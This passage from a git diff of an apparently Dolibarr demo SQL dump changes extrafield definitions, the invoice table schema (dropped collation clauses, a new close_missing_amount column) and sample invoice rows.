12:20:14','DateFileauthorizekey','datetime','',150,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(113,'contrat','filelock',1,'2023-01-19 12:20:14','DateFilelock','datetime','',151,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(114,'contrat','fileinstallmoduleslock',1,'2023-01-19 12:20:14','DateFileInstallmoduleslock','datetime','',152,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(115,'contrat','latestresupdate_date',1,'2023-01-19 12:20:14','LatestResUpdateDate','datetime','',155,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(116,'contrat','latestbackup_date',1,'2023-01-19 12:20:14','LatestBackupDate','datetime','',159,1,'',0,0,NULL,'-2',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(117,'contrat','latestbackup_date_ok',1,'2023-01-19 12:20:14','LatestBackupDateOK','datetime','',160,1,'',0,0,NULL,'-2',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(118,'contrat','latestbackup_status',1,'2023-01-19 12:20:14','LatestBackupStatus','varchar','2',161,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(119,'contrat','latestbackup_message',1,'2023-01-19 12:20:14','LatestBackupMessage','text','8192',162,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(120,'contrat','backup_frequency',1,'2023-01-19 12:20:14','BackupFrequency','int','3',165,1,'',0,0,NULL,'-1',0,0,NULL,'1','sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(121,'contrat','maxperday',1,'2023-01-19 12:20:14','MaxEmailPerDay','int','6',166,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','MaxEmailPerDayDesc',0,NULL,NULL,NULL),(122,'contrat','cookieregister_counter',1,'2023-01-19 12:20:14','RegistrationCounter','int','10',170,1,'',0,0,NULL,'-1',1,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(123,'contrat','cookieregister_previous_instance',1,'2023-01-19 12:20:14','RegistrationPreviousInstance','varchar','128',171,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(124,'contrat','discountcode',1,'2023-01-19 12:20:14','DiscountCode','varchar','255',200,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DiscountCodeDesc',0,NULL,NULL,NULL),(125,'contrat','suspendmaintenance_message',1,'2023-01-19 12:20:14','Maintenance message','varchar','255',210,1,'',0,0,NULL,'-2',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(126,'contrat','commentonqty',1,'2023-01-19 12:20:14','CommentOnQty','text','8192',220,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','CommentOnQtyDesc',0,NULL,NULL,'tdoverflowmax150'),(127,'contrat','spammer',1,'2023-01-19 12:20:14','EvilUser','varchar','8',300,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(128,'contrat','reasonundeploy',1,'2023-01-19 12:20:14','ReasonUninstall','varchar','255',300,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(129,'contrat','commentundeploy',1,'2023-01-19 12:20:14','CommentOfUninstall','text','8192',300,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(131,'facture','commission',1,'2023-01-19 12:20:14','PartnerCommissionForThisInvoice','int','3',1020,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(132,'facture','reseller',1,'2023-01-19 12:20:14','Reseller','link','3',1030,1,'a:1:{s:7:\"options\";a:1:{s:39:\"Societe:societe/class/societe.class.php\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(133,'facture','delayautopayment',1,'2023-01-19 12:20:14','DelayAutomaticPayment','date','',1035,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DelayAutomaticPaymentDesc',0,NULL,NULL,NULL),(134,'facture_rec','discountcode',1,'2023-01-19 12:20:14','DiscountCode','varchar','255',200,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DiscountCodeDesc',0,NULL,NULL,NULL),(135,'facture_rec','commentonqty',1,'2023-01-19 12:20:14','CommentOnQty','text','8192',220,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','CommentOnQtyDesc',0,NULL,NULL,NULL),(136,'user','rsapublicmain',1,'2023-01-19 12:20:14','PublicRSAKey','text','2000',100,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','PublicRSAKeyDesc',0,NULL,NULL,NULL),(137,'user','ippublicmain',1,'2023-01-19 12:20:14','IPPublicMain','varchar','255',105,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','IPPublicMainDesc',0,NULL,NULL,NULL),(138,'facture','separatorinvoice',1,'2023-02-04 13:58:54','SELLYOURSAAS_NAME','separate','',1000,0,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'3',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-02-04 10:58:54','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(140,'user','aaa',1,'2023-02-07 00:41:52','aaa','varchar','255',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,'$objectoffield->fk_user',NULL,NULL,12,12,'2023-02-06 21:41:52','1',NULL,0,NULL,NULL,NULL),(141,'societe','stripeaccount',1,'2023-02-10 23:45:28','StripeAccount','varchar','255',197,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-02-10 20:45:28','$conf->sellyoursaas->enabled','Ceci est un texte',0,NULL,NULL,NULL),(142,'partnership','fdsf',1,'2023-02-21 09:25:48','fdsf','varchar','255',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2023-02-21 06:25:48','1',NULL,0,NULL,NULL,NULL),(143,'user','news_viewed',1,'2023-02-28 12:49:59','Nouveautés vues','boolean','2',100,0,'',0,0,NULL,'0',0,0,NULL,NULL,NULL,12,12,'2023-02-28 09:49:59','1',NULL,0,NULL,NULL,NULL),(144,'socpeople','c42contact_infoextranet',1,'2023-02-28 12:53:23','Contact lié à Gestion de Parc','boolean','',42600,1,'',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2023-02-28 09:53:23','1',NULL,0,NULL,NULL,NULL),(145,'ticket','c42ticket_device_linked',1,'2023-02-28 12:53:23','Equipement lié','link','',42601,1,'a:1:{s:7:\"options\";a:1:{s:41:\"Device:gestionparc/class/device.class.php\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2023-02-28 09:53:23','1',NULL,0,NULL,NULL,NULL),(146,'fichinter','c42i_device_id_under_contract',1,'2023-02-28 12:53:23','Equipement sous gestion','link','',42602,1,'a:1:{s:7:\"options\";a:1:{s:42:\"Device:/gestionparc/class/device.class.php\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2023-02-28 09:53:23','1',NULL,0,NULL,NULL,NULL),(161,'commande_fournisseurdet','ddm',1,'2023-03-08 01:39:52','ddm','double','24,8',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,'(($reloadedobj = new CommandeFournisseur($db)) && ($reloadedobj->fetchNoCompute($objectoffield->fk_commande))) ? dol_print_date($reloadedobj->delivery_date + 3600 * 24 * 18 * 30, \'day\') : \'error\'',NULL,NULL,12,12,'2023-03-07 22:39:52','1',NULL,0,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -6745,13 +6019,13 @@ DROP TABLE IF EXISTS `llx_facture`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_facture` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(255) DEFAULT NULL, `type` smallint(6) NOT NULL DEFAULT 0, - `ref_client` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `increment` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_client` varchar(255) DEFAULT NULL, + `increment` varchar(10) DEFAULT NULL, `fk_soc` int(11) NOT NULL, `datec` datetime DEFAULT NULL, `datef` date DEFAULT NULL, @@ -6763,8 +6037,9 @@ CREATE TABLE `llx_facture` ( `remise_percent` double DEFAULT 0, `remise_absolue` double DEFAULT 0, `remise` double DEFAULT 0, - `close_code` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `close_note` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `close_code` varchar(16) DEFAULT NULL, + `close_missing_amount` double(24,8) DEFAULT NULL, + `close_note` varchar(128) DEFAULT NULL, `total_tva` double(24,8) DEFAULT 0.00000000, `localtax1` double(24,8) DEFAULT 0.00000000, `localtax2` double(24,8) DEFAULT 0.00000000, @@ -6779,15 +6054,15 @@ CREATE TABLE `llx_facture` ( `fk_facture_source` int(11) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `fk_account` int(11) DEFAULT NULL, - `fk_currency` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_currency` varchar(3) DEFAULT NULL, `fk_cond_reglement` int(11) NOT NULL DEFAULT 1, `fk_mode_reglement` int(11) DEFAULT NULL, `date_lim_reglement` date DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `situation_cycle_ref` smallint(6) DEFAULT NULL, `situation_counter` smallint(6) DEFAULT NULL, `situation_final` smallint(6) DEFAULT NULL, @@ -6795,19 +6070,19 @@ CREATE TABLE `llx_facture` ( `retained_warranty_date_limit` date DEFAULT NULL, `retained_warranty_fk_cond_reglement` int(11) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, `fk_transport_mode` int(11) DEFAULT NULL, `date_pointoftax` date DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, `fk_fac_rec_source` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module_source` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pos_source` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `module_source` varchar(32) DEFAULT NULL, + `pos_source` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_facture_ref` (`ref`,`entity`), KEY `idx_facture_fk_soc` (`fk_soc`), @@ -6824,7 +6099,7 @@ CREATE TABLE `llx_facture` ( CONSTRAINT `fk_facture_fk_soc` FOREIGN KEY (`fk_soc`) REFERENCES `llx_societe` (`rowid`), CONSTRAINT `fk_facture_fk_user_author` FOREIGN KEY (`fk_user_author`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_facture_fk_user_valid` FOREIGN KEY (`fk_user_valid`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=232 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=241 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6833,7 +6108,7 @@ CREATE TABLE `llx_facture` ( LOCK TABLES `llx_facture` WRITE; /*!40000 ALTER TABLE `llx_facture` DISABLE KEYS */; -INSERT INTO `llx_facture` VALUES (2,'FA1007-0002',1,NULL,NULL,0,NULL,NULL,2,'2012-07-10 18:20:13','2021-07-10',NULL,NULL,'2021-07-11 17:49:28',1,10.00000000,NULL,NULL,0,NULL,NULL,0.10000000,0.00000000,0.00000000,0.00000000,46.00000000,46.10000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-07-10',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(3,'FA1107-0006',1,NULL,NULL,0,NULL,NULL,10,'2013-07-18 20:33:35','2021-07-18',NULL,NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,15.00000000,15.00000000,2,1,NULL,1,NULL,NULL,1,NULL,NULL,1,0,'2021-07-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(5,'FA1108-0003',1,NULL,NULL,0,NULL,NULL,7,'2013-08-01 03:34:11','2021-08-01',NULL,NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,6,'2021-08-01',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(6,'FA1108-0004',1,NULL,NULL,0,NULL,NULL,7,'2013-08-06 20:33:53','2021-08-06',NULL,NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.98000000,0.00000000,0.00000000,0.00000000,5.00000000,5.98000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,4,'2021-08-06','Cash\nReceived : 6 EUR\nRendu : 0.02 EUR\n\n--------------------------------------',NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(8,'FA1108-0005',1,NULL,NULL,3,NULL,NULL,2,'2013-08-08 02:41:44','2021-08-08',NULL,NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-08-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(9,'FA1108-0007',1,NULL,NULL,3,NULL,NULL,10,'2013-08-08 02:55:14','2021-08-08',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.96000000,0.00000000,0.00000000,0.00000000,10.00000000,11.96000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-08-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(10,'AV1212-0001',1,NULL,NULL,2,NULL,NULL,10,'2014-12-08 17:45:20','2021-12-08','2021-12-08 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,-0.63000000,0.00000000,0.00000000,0.00000000,-11.00000000,-11.63000000,1,1,NULL,1,NULL,3,NULL,NULL,NULL,0,0,'2021-12-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(12,'AV1212-0002',1,NULL,NULL,2,NULL,NULL,10,'2014-12-08 18:20:14','2021-12-08','2021-12-08 00:00:00',NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,-5.00000000,-5.00000000,2,1,NULL,1,NULL,3,NULL,NULL,NULL,0,0,'2021-12-08',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(13,'FA1212-0011',1,NULL,NULL,0,NULL,NULL,7,'2014-12-09 20:04:19','2021-12-09','2021-02-12 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,2.74000000,0.00000000,0.00000000,0.00000000,14.00000000,16.74000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-12-09',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(32,'FA1212-0021',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:34:23','2021-12-11','2022-03-24 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,90.00000000,0.00000000,0.00000000,0.60000000,520.00000000,610.60000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-12-11','This is a comment (private)','This is a comment (public)','crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(33,'FA1212-0023',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:34:23','2021-12-11','2022-03-03 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,'abandon',NULL,0.24000000,0.00000000,0.00000000,0.00000000,2.48000000,2.72000000,3,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-12-11','This is a comment (private)','This is a comment (public)','crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(55,'FA1212-0009',1,NULL,NULL,0,NULL,NULL,1,'2014-12-11 09:35:51','2021-12-11','2021-12-12 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.24000000,0.00000000,0.00000000,0.00000000,2.48000000,2.72000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-12-11','This is a comment (private)','This is a comment (public)','generic_invoice_odt:/home/ldestailleur/git/dolibarr_3.8/documents/doctemplates/invoices/template_invoice.odt',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(148,'FS1301-0001',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:22:48','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,'facture/FS1301-0001/FS1301-0001.pdf',NULL,NULL),(149,'FA1601-0024',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:30:05','2022-01-19','2021-08-29 00:00:00','2020-01-02 20:49:34','2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,'other','test',1.80000000,0.90000000,0.90000000,0.00000000,20.00000000,23.60000000,2,1,NULL,12,12,NULL,NULL,NULL,NULL,0,0,'2022-01-19',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,20.00000000,1.80000000,23.60000000,NULL,'facture/FA1601-0024/FA1601-0024.pdf',NULL,NULL),(150,'FA6801-0010',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:31:10','2022-01-19','2021-10-04 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,0.63000000,0.00000000,0.00000000,0.00000000,5.00000000,5.63000000,1,1,NULL,12,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,5.00000000,0.63000000,5.63000000,NULL,'facture/FA6801-0010/FA6801-0010.pdf',NULL,NULL),(151,'FS1301-0002',1,NULL,NULL,0,NULL,NULL,1,'2015-01-19 18:31:58','2022-01-19','2022-01-19 00:00:00',NULL,'2022-02-07 13:37:54',1,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,2,1,NULL,1,NULL,NULL,NULL,NULL,NULL,0,1,'2022-01-19',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(160,'FA1507-0015',1,NULL,NULL,0,NULL,NULL,12,'2015-03-06 16:47:48','2021-07-18','2021-03-06 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.11000000,0.00000000,0.00000000,0.00000000,8.89000000,10.00000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-07-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(210,'FA1107-0019',1,NULL,NULL,0,NULL,NULL,10,'2015-03-20 14:30:11','2021-07-10','2021-03-20 00:00:00',NULL,'2021-07-11 17:49:28',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,0,'2021-07-10',NULL,NULL,'generic_invoice_odt:/home/ldestailleur/git/dolibarr_3.8/documents/doctemplates/invoices/template_invoice.odt',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(211,'FA1303-0020',1,NULL,NULL,0,NULL,NULL,19,'2015-03-22 09:40:10','2022-03-22','2021-03-02 00:00:00',NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,17.64000000,0.00000000,0.00000000,0.40000000,340.00000000,358.04000000,1,1,NULL,1,NULL,NULL,NULL,NULL,NULL,1,3,'2022-03-22',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(213,'AV1303-0003',1,NULL,NULL,2,NULL,NULL,1,'2016-03-03 19:22:03','2022-03-03','2021-03-03 00:00:00',NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,-1000.00000000,-1000.00000000,1,1,NULL,1,NULL,32,NULL,NULL,NULL,0,0,'2022-03-03',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(216,'(PROV216)',1,NULL,NULL,0,NULL,NULL,26,'2017-02-12 23:21:27','2022-02-12',NULL,NULL,'2022-07-04 01:11:35',0,0.00000000,NULL,NULL,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2022-02-12',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,0,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL),(217,'(PROV217)',1,NULL,NULL,0,NULL,NULL,1,'2017-08-31 13:26:17','2021-08-31',NULL,NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.13000000,0.00000000,0.00000000,0.00000000,21.00000000,22.13000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,'2021-08-31',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,1,'EUR',1.00000000,21.00000000,1.13000000,22.13000000,NULL,'facture/(PROV217)/(PROV217).pdf',NULL,NULL),(218,'FA1909-0025',1,NULL,NULL,0,NULL,NULL,12,'2019-09-26 17:30:14','2021-09-26','2021-09-26 00:00:00',NULL,'2022-02-07 13:37:54',0,0.00000000,NULL,NULL,0,NULL,NULL,1.08000000,0.00000000,0.00000000,0.00000000,42.50000000,43.58000000,1,12,NULL,12,NULL,NULL,NULL,NULL,NULL,0,0,'2021-09-26',NULL,NULL,'',NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,0,'',NULL,NULL,0,'EUR',1.00000000,42.50000000,1.08000000,43.58000000,NULL,NULL,'takepos','1'),(219,'(PROV-POS1-0)',1,NULL,NULL,0,NULL,NULL,1,'2019-11-28 19:04:03','2021-11-28',NULL,NULL,'2022-02-07 